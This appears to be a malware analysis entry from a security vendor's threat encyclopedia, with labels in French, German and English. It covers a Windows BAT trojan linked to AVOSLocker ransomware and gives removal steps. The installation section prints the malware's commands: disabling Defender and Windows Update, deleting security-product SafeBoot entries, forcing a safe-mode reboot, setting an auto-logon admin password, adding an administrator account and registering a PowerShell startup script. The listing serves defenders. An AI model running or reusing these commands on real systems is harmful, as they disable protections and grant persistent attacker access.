Analysé par: Khristian Joseph Morales   
 

Generic.Ransom.AVOSLocker.!s!.D.96A58DC3 (BITDEFENDER)

 Plate-forme:

Windows

 Overall Risk:
 Dommages potentiels: :
 Distribution potentielle: :
 reportedInfection:
 Information Exposure Rating::
Faible
Medium
Élevé
Critique

  • Type de grayware:
    Trojan

  • Destructif:
    Non

  • Chiffrement:
    Non

  • In the wild::
    Oui

  Overview

Voie d'infection: Aus dem Internet heruntergeladen, Fallen gelassen von anderer Malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  Détails techniques

File size: 4,244 bytes
File type: BAT
Memory resident: Non
Date de réception des premiers échantillons: 02 février 2022
Charge malveillante: Restarts system

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Fügt die folgenden Prozesse hinzu:

  • reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /f
  • reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /f
  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /f
  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /t REG_SZ /d Service /f
  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /f
  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /t REG_SZ /d Service /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d Password123! /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
  • reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AVO.ps1" /f
  • reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AVO.ps1" /f
  • bcdedit /set {default} safeboot network
  • net use \192.168.111.73 /user:workgroup\test P@ssw0rd123
  • shutdown /r /f /t 0
  • Terminates and disables services
    • net stop wuauserv
    • sc config wuauserv start= disabled
  • Delete AV related registry
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_agent /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_monitor /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Amps /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_notifer /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WRkrn /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WRSVC /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPProtectedService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPIRedline /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPSecurityService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPUpdateService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cmdvith /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cmdicap /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CmdAgent /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cyserver /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBEndpointAgent /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CylanceSvc /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SepMasterService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefense /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefenseWSC /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPProtectedService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\epredline /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPSecurityService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPUpdateService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPIntegrationService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmCCSF /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmWSCSvc /f
  • Add user and localgroup:
    • net user Administrator Password123! /add
    • net localgroup administrators Administrator /add
    • net user Administrator Password123!
  • net user Administrator /Active:Y

Andere Details

Es macht Folgendes:

  • It restarts the affected machine

  Solutions

Moteur de scan minimum: 9.800
First VSAPI Pattern File: 17.372.03
First VSAPI Pattern Release Date: 09 février 2022
VSAPI OPR Pattern Version: 17.373.00
VSAPI OPR Pattern Release Date: 10 février 2022

Step 1

Für Windows ME und XP Benutzer: Stellen Sie vor einer Suche sicher, dass die Systemwiederherstellung deaktiviert ist, damit der gesamte Computer durchsucht werden kann.

Step 2

Durchsuchen Sie Ihren Computer mit Ihrem Trend Micro Produkt, und löschen Sie Dateien, die als Trojan.BAT.AVOSLOCKER.YPCBB entdeckt werden. Falls die entdeckten Dateien bereits von Ihrem Trend Micro Produkt gesäubert, gelöscht oder in Quarantäne verschoben wurden, sind keine weiteren Schritte erforderlich. Dateien in Quarantäne können einfach gelöscht werden. Auf dieser Knowledge-Base-Seite finden Sie weitere Informationen.


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